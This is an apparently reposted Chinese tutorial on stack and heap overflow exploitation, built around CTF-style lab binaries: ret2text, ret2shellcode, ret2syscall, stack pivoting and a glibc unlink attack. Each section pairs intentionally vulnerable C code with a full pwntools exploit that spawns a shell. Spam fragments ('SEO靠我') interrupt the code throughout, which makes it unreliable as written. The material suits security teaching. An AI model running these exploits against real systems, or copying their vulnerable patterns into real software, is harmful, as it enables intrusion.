解决方案

一篇文章理解堆栈溢出

seo靠我 2023-09-25 20:15:50

一篇文章理解堆栈溢出

引言栈溢出ret2text答案ret2shellcode答案ret2syscall答案栈迁移答案堆溢出 unlink - UAF堆结构小提示向前合并/向后合并堆溢出题答案

引言

让新手SEO靠我快速理解堆栈溢出,尽可能写的简单一些。

栈溢出

代码执行到进入函数之前都会记录返回地址到SP中,保证代码在进入函数执行完成后能返回继续执行下面的代码,而栈溢出攻击原理就是想尽一切办法覆盖掉这个保存在SP中SEO靠我的返回地址,改变代码执行流程。

刚开始写博客的时候写过一篇如何在windows中利用ntdll的jmp esp实现栈溢出攻击,这次我们回顾一下。

此时栈中内容应该是这样

在进入需要call的函数后,如果我们SEO靠我从栈的低地址一直覆盖内容到高地址,就可以覆盖掉这个返回地址。

ret2text

简单的看一道以前的ctf题,为了深入理解我们先自己编译一份存在漏洞的代码

#include <stdlib.h> SEO靠我 #include <stdio.h> void shell(){//故意存在的后门system("/bin/sh"); } void test(inSEO靠我t a){//随便写的printf("exit!!!!!%d\n" , a); } void print_name(char* input) {//漏洞函数char bSEO靠我uf[15];memcpy(buf,input,0x100);printf("Hello %s\n", buf); } int main(int argc, char*SEO靠我* argv){char buf[0x100];puts("input your name plz");read(0,buf,0x100);print_name(buf);return 0; SEO靠我 }// gcc -m32 -no-pie -g test.c -o test

编译后再ida中长这样

答案

from pwn import *elf = ELF("./test") SEO靠我# 这里是我调试器用的可以不写 context.terminal = [qterminal,-e,sh,-c] libc = ELF(/lib/i386-linux-gSEO靠我nu/libc.so.6)# p = remote("LOCALHOST",28525) p = elf.process()print(p.recvline()) # SEO靠我print(elf.sym)# 附加调试器 #gdb.attach(p, b print_name)# 解题方式1: # 先覆盖0x17个a 写满BUF,然后多4个字节SEO靠我覆盖push ebp指令保存的ebp # 覆盖esp中的返回地址为0x8049196(shell) # p.sendline(ba*(0x17+0x4)+p32(0x8SEO靠我049196))print(hex(elf.sym[system])) # 解题方式2: # 先覆盖0x17个a 写满BUF,然后多4个字节覆盖push ebp指令保存SEO靠我的ebp # 覆盖esp中的返回地址为system # 在call之前会将eip下一条地址压入esp,所以我们是在覆盖这个,0x80491c1(test的地址),我们eSEO靠我xit之后会不会进入到test # 覆盖参数 "/bin/sh"(0x804a008) p.sendline(ba*(0x17+0x4)+p32(elf.sym[sysSEO靠我tem])+p32(0x80491c1)+p32(0x804a008) + p32(0xde)) # 0xde(222)是exit参数 p.interactive()

解题方式二是为了理SEO靠我解栈溢出原理,所以我在其中套了多个函数地址和参数。

ret2shellcode

再来看一道经典题目,mmap内存映射的栈溢出

#include <stdlib.h> #include <stSEO靠我dio.h> #include <sys/mman.h> int main(int argc, char** argv){char buff;char * mapBufSEO靠我;mapBuf = (char*)mmap(0x233000, 0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS, -1,SEO靠我 0);printf("map address:%x\n",mapBuf);read(0,mapBuf,0x100);puts("enter something");read(0,&buff,0x10SEO靠我0);puts("good bye");return 0; }

权限是可读写可执行,MAP_PRIVATE|MAP_ANONYMOUS 表示不映射一个具体的fd,而是系统内部创建的匿名文SEO靠我件,且不会被回写到文件。

其中我们给出了具体的映射地址,虽然mapBuf的内存地址并不属于这个栈,但是我们可以通过溢出buff让栈返回地址指向它,而它内存中实际的内容就是我们的shellcode.

答案

fSEO靠我rom pwn import * context(os=linux, arch=amd64, log_level=debug) #context.terminal = SEO靠我[qterminal,-e,sh,-c] elf = ELF("./test") p = elf.process()#gdb.attach(p, b 13) SEO靠我 shellcode = asm(shellcraft.sh()) print(shellcode) print(p.recvline()) p.sSEO靠我endline(shellcode)print(p.recvline()) # 随便覆盖一个rbp p.sendline(ba*(0x9+0x8)+p64(0x2330SEO靠我00)) p.interactive()

我们首先将shellcode写入了mapBuf指向的内存地址(0x233000),然后覆盖掉了返回地址,将它改为0x233000,在退出这个函数SEO靠我时就会执行我们在0x233000中写入的shellcode了。

ret2syscall

int __cdecl main(int argc, const char **argv, const char *SEO靠我*envp) {int v4;setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system()SEO靠我 and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0; }

这段代码非常简单,但是题中给的文SEO靠我件开启了NX 保护,也就是说栈中的代码不可执行,此时我们无法覆盖为shellcode,那么就只能让他跳转到程序中本来就存在的一些方法去,而程序中也并没有调用system。

我们这次用到了ROPgadgeSEO靠我t工具,让他在程序中找一些指定的汇编指令。

还有cyclic可以帮忙测试栈溢出的大小。

答案

思路是利用int 0x80中断进入系统调用execve。

execve("/bin/sh",NULL,NULL)

SEO靠我eax为execve的系统调用号0xb,第一个参数ebx指向/bin/sh,ecx和edx为0。

而我们需要找到能修改寄存器的汇编代码,那么pop就是最好的选择。

push 是将参数压入sp,那么pop就SEO靠我是将sp的内容弹出到指定寄存器。from pwn import * context(os=linux, arch=i386, log_level=debug) #conSEO靠我text.terminal = [qterminal,-e,sh,-c] elf = ELF("./rop") p = elf.process() RSEO靠我OPgadget --binary rop --only int 0x08049421 : int 0x80ROPgadget --binary rop --only pop|ret|SEO靠我grep eax 0x080bb196 : pop eax ; retROPgadget --binary rop --only pop|ret|grep ebx 这里还可以控制ecxSEO靠我所以直接再找edx的 0x0806eb91 : pop ecx ; pop ebx ; retROPgadget --binary rop --only pop|ret|grep edSEO靠我x 0x0806eb6a : pop edx ; retROPgadget --binary rop --string /bin/bash 0x080be408 : /SEO靠我bin/sh int_0x80 = 0x08049421 pop_eax_ret = 0x080bb196 pop_ecx_ebx_ret = 0x0SEO靠我806eb91 pop_edx_ret = 0x0806eb6a sh = 0x080be408 # 112 cyclic测试得出 paSEO靠我yload = ba * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_ebx_ret) + p32(0) + p32(sh) + p32(pop_eSEO靠我dx_ret) + p32(0) + p32(int_0x80) p.sendline(payload) p.interactive()

栈迁移

int vul() SEO靠我 {char s[40]; // [esp+0h] [ebp-28h] BYREFmemset(s, 0, 0x20u);read(0, s, 48u);printf("Hello, %s\nSEO靠我", s);read(0, s, 0x30u);return printf("Hello, %s\n", s); } int __cdecl main(int argcSEO靠我, const char **argv, const char **envp) {init();puts("Welcome, my friend. Whats your name?")SEO靠我;vul();return 0; }

程序中可以发现在vul函数的read的第二处出现了栈溢出,但是我们发现溢出的大小实在是太小了,我们无法写入system后再加入参数,注意程序同样开启SEO靠我了NX保护,也就是栈中代码不可执行,这里需要了解一点点的GOT/PLT了,可以看我这篇文章:

PLT、GOT ELF重定位流程新手入门

原理是通过覆盖返回地址让它返回到s变量的内存地址(bss段),这样我SEO靠我们就有足够的地方写shellcode了

答案

from pwn import * context(os=linux, arch=i386, log_level=debug) SEO靠我 #context.terminal = [qterminal,-e,sh,-c] elf = ELF("./test") p = elf.process() SEO靠我 # 漏洞代码 #char s[40]; // [esp+0h] [ebp-28h] BYREF #read(0, s, 0x30u); #0x30-0x28 =SEO靠我 0x8 不够我们写system后的参数,栈大小不够,我们需要将ESP移到BSS段,刚好我们的s本身就在bss段 #printf("Hello, %s\n", s); SEO靠我#read(0, s, 0x30u); print(p.recvline())payload = ba * (0x27) # 因为使用sendline多了一个\n 所以这里写0x27 SEO靠我 p.sendline(payload) # 因为我们填满了0x28 并且没有\0所以此时输出必定会将ebp输出出来 p.recvuntil("a\n") SEO靠我 ori_ebp = u32(p.recv(4)) # 接收本来正常的ebp print(hex(ori_ebp))# s地址 偏移计算 # 原ebp 可以在push SEO靠我ebp 看一下ebp地址 是0xffffd4c8 # 然后在leave之前 看一下stack # esp 0xffffd490 ◂— aaaaaa\n\n SEO靠我 # 通过计算得到偏移是 0xffffd490 - 是0xffffd4c8 = -0x38# 另外一种办法是,在push ebp 看一下ebp地址 是0xffffd4c8 # 在leSEO靠我ave前看一下 ebp = 0xffffd4b8 # 是0xffffd4b8 - 0xffffd4c8 = -0x10,又由于我们在IDA中知道#char s[40]; // [espSEO靠我+0h] [ebp-28h] BYREF # -0x10 - 0x28 = - 0x38 bss_addr = ori_ebp - 0x38# system addr SEO靠我两种办法 # 一种通过.got.plt # 0804a018 00000407 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 SEO靠我 # x 0x804a018 # <system@got.plt>: 0x08048406 # 由于我们知道 此时system没有被执行过,这里保存的地址肯定SEO靠我是plt + 6# 第二种 直接读取.plt # .plt PROGBITS 080483c0 # x/32x 0x080483c0 # 0x80484SEO靠我00 <system@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0# 第三种 直接用pwntools system_addr = SEO靠我elf.plt[system]leave_ret = 0x080484b8 # ROPgadget --binary test --only leave|ret# 迁移到BSS段,正好我们的s就是 SEO靠我 # 先覆盖4字节,因为最后leave 相当于mov esp,ebp; pop ebp;使esp + 4,所以这里要先跳过0x4 随便填充4个字节 payload2 = bSEO靠我A * 0x4 # ret 要跳转到的eip payload2 += p32(system_addr) # system后的返回地址 随便写吧 SEO靠我 payload2 += bA * 0x4 # 参数字符串地址,这个字符串是下面写的 所以要计算要跳过的大小 payload2 += p32(bss_addr +SEO靠我 0x4 + 0x4 + 0x4 + 0x4) payload2 += b/bin/sh\x00 payload2 = payload2.ljust(0x28, bA)SEO靠我 # 填充满0x28个,不够用A补 # 将原来正常的ebp 改为 s 的地址 让其执行leave的时候把这个地址给esp payload2 += p32(bss_addSEO靠我r) # 填入leave;ret,ret的时候因为esp被我们修改的ebp覆盖了,所以回到了ebp + 0x4(也就是s+0x4等价于payload2 + 0x4) pSEO靠我ayload2 += p32(leave_ret)p.sendline(payload2) p.interactive()

堆溢出 unlink - UAF

堆溢出原理在堆释放时,修改双向SEO靠我链表的过程,有空子可以钻,让其指针赋值时将我们需要的地址赋值过去,但是我们也仅仅是指修改了一个内存地址,而不是像栈溢出那样修改了它的执行流程。

堆结构

size记录的是整个chunk大小,而不是malloSEO靠我c时的大小。

小提示

因为malloc是按8字节对齐,所以实际上size的最后3位bit永远不可能不是1 (8 = 0b1000),所以用其中1位来做PREV_INUSE的标记位。

向前合并/向后合并

向前合SEO靠我并和向后合并,并不是说对于当前区块来说,合并到前一个或合并到后一个,而是正好相反。

向后合并是指如果前一个区块没有被使用,将自身指针指向前一个区块,并且将大小合并,向前合并则相反。

if (!prev_iSEO靠我nuse(p)) {prevsize = p->prev_size;size += prevsize;p = chunk_at_offset(p, -((long) prevsize)); unlinSEO靠我k(p, bck, fwd); } #define unlink(P, BK, FD) { \FD = P->fd; \BK = P->bk; \FD->bk = BKSEO靠我; \BK->fd = FD; \... }

我们需要关注的点在于unlink,这个从双向链表移除自身的代码。下面的题目中unlink其实还有检查代码,就是判断FD->bk是否等于BK-SEO靠我>fd。

堆溢出题

这是一个简单的堆溢出题,我将其中的函数都重命名了,在IDA中你能知道这些函数时做什么的

可以看见create_item申请的堆内存地址被保存到了一个全局变量s中,并且是从下标1开始使用的SEO靠我

我们将变量和函数地址都先记录下来edit_item = 0x4009e8free_item = 0x400b07puts_if_exists = 0x400ba9create_item = 0x40SEO靠我0936bss_s = 0x602140

我们还知道了GLIBC的版本是2.2.5,但是我本机没有,可以用工具替换。

使用 patchelf 替换2.23,因为2.2.5在glibc-all-in-oneSEO靠我没找到,glibc-all-in-one可以在github下载到。

patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0uSEO靠我buntu11.3_amd64/ld-2.23.so --set-rpath /home/kali/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stSEO靠我kof

答案

我们要做的其实就是修改掉s数组中存放的内容。

from pwn import * context(os=linux, arch=amd64, log_level=debug) SEO靠我 context.terminal = [qterminal,-e,sh,-c] stkof = ELF("./stkof") # 题的原文件网上可以搜到 SEO靠我 p = stkof.process() libc = ELF(/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libcSEO靠我-2.23.so)#edit_item = 0x4009e8 #free_item = 0x400b07 #puts_if_exists = 0x400ba9 # 没啥SEO靠我用 #create_item = 0x400936 bss_s = 0x602140 # 存着分配的堆地址,0下标无用,(&::s)[++dword_602100] =SEO靠我 v2; 1号块就是1下标def alloc(size):p.sendline(b1)p.sendline(str(size))p.recvuntil(bOK\n)def edit(idx, sizeSEO靠我, content):p.sendline(b2)p.sendline(str(idx))p.sendline(str(size))p.send(content)p.recvuntil(bOK\n)dSEO靠我ef free(idx):p.sendline(b3)p.sendline(str(idx))def puts_if_exists():p.sendline(b4)print(p.recvline()SEO靠我)def exp():# gdb.attach(p, b *0x4009e8)# editalloc(0x100) # idx 1alloc(0x20) # idx 2 # 32大小alloc(0x8SEO靠我0) # idx 3#在2中伪造chunk并且溢出修改3的chunk头#FD 下一块 ,BK 上一块,fd在结构偏移是第三个,bk在结构偏移是第四个payload = p64(0) #prev_sizSEO靠我epayload += p64(0x20) #size# 使(bss_s + 0x10 - 3*0x8)->bk(3*0x8) == (bss_s + 0x10 - 2*0x8)->fd(2*0x8)SEO靠我 == (bss_s + 0x10),绕过checkpayload += p64(bss_s + 0x10 - 3*0x8) #fd #此时fd->bk = (bss_s + 0x10 - 3*0x8SEO靠我)+(3*0x8)payload += p64(bss_s + 0x10 - 2*0x8) #bk #此时bk->fd = (bss_s + 0x10 - 2*0x8)+(2*0x8)# 溢出部分paSEO靠我yload += p64(0x20) # 下一个区块的 prev_sizepayload += p64(0x90) # 下一个区块 size 偶数,覆盖prev_inuse 为 0(0x90的大小是内SEO靠我存对齐后的结果)# 修改2号块,等会溢出3号块edit(2, len(payload), payload)# 准备 释放3 触发向后合并,触发unlink(此时unlink的P就是2号块)# FD =SEO靠我 P->fd; #下一块# BK = P->bk; #上一块# FD->bk = BK;# BK->fd = FD; # 根据计算类似下面这样,只是我们没有写临时变量,这样看会清楚点,代码虽然是错的#SEO靠我 p->fd 被我们伪造成了(bss_s + 0x10 - 3*0x8)# p->bk 被我们伪造成了(bss_s + 0x10 - 2*0x8)# FD->bk = BK; # 赋值相当于 (bssSEO靠我_s + 0x10 - 3*0x8)+(3*0x8) = bss_s + 0x10 - 2*0x8# BK->fd = FD; # 赋值相当于 (bss_s + 0x10 - 2*0x8)+(2*0xSEO靠我8) = bss_s + 0x10 - 3*0x8# 最后修改其实就是# bss_s + 0x10 = bss_s + 0x10 - 3*0x8# bss_s + 0x10 = bss_s - 0x8SEO靠我# bss_s + 0x10 就是 bss_s[2]# 让 bss_s 存着的2号块地址变成 = bss_s - 0x8free(3)p.recvuntil(OK\n)#覆盖bss_s存着的2号块地址SEO靠我(bss_s - 0x8),跳过8字节使bss_s[0] = free@got, bss_s[1]=puts@got, bss_s[2]=atoi@got#此时存着的堆地址其实全部被我们改掉了,后面干SEO靠我的事和堆一点关系都没有了payload = ba * 8 + p64(stkof.got[free]) + p64(stkof.got[puts]) + p64(stkof.got[atoi])ediSEO靠我t(2, len(payload), payload) #这里payload数据是写入了 bss_s 段# 由于此时 bss_s[0] = free@got.plt# 本来free@got.plt中存SEO靠我的是0x7f7e67a84540 <__GI___libc_free>: 0x8348535554415541# 我们此时修改0号块内容,实际上就是(&bss_s)[0] = puts@plt# 等于SEO靠我将__GI___libc_free改为了puts@pltpayload = p64(stkof.plt[puts])edit(0, len(payload), payload) #此时free已经被替SEO靠我换#free((&::s)[1]); = puts@plt((&::s)[1]);#此时相当于puts@plt(&bss_s[1]);# puts@plt(puts@got);#我们就可以先拿到putSEO靠我s@got地址,用来计算glibc基址free(1)puts_addr = p.recvuntil(\nOK\n, drop=True).ljust(8, b\x00)puts_addr = u64(SEO靠我puts_addr)log.success(puts addr: + hex(puts_addr))libc_base = puts_addr - libc.symbols[puts]binsh_adSEO靠我dr = libc_base + next(libc.search(b/bin/sh))system_addr = libc_base + libc.symbols[system]log.succesSEO靠我s(libc base: + hex(libc_base))log.success(/bin/sh addr: + hex(binsh_addr))log.success(system addr: +SEO靠我 hex(system_addr))# 由于此时 bss_s[2] = atoi@got.plt# 修改2号块代码是(&bss_s)[2] = systempayload = p64(system_aSEO靠我ddr)edit(2, len(payload), payload)# 随便发一个触发main里的atoi,参数就是binsh_addrp.send(p64(binsh_addr))p.interacSEO靠我tive()if __name__ == "__main__":exp()
“SEO靠我”的新闻页面文章、图片、音频、视频等稿件均为自媒体人、第三方机构发布或转载。如稿件涉及版权等问题,请与 我们联系删除或处理,客服邮箱:html5sh@163.com,稿件内容仅为传递更多信息之目的,不代表本网观点,亦不代表本网站赞同 其观点或证实其内容的真实性。

网站备案号:浙ICP备17034767号-2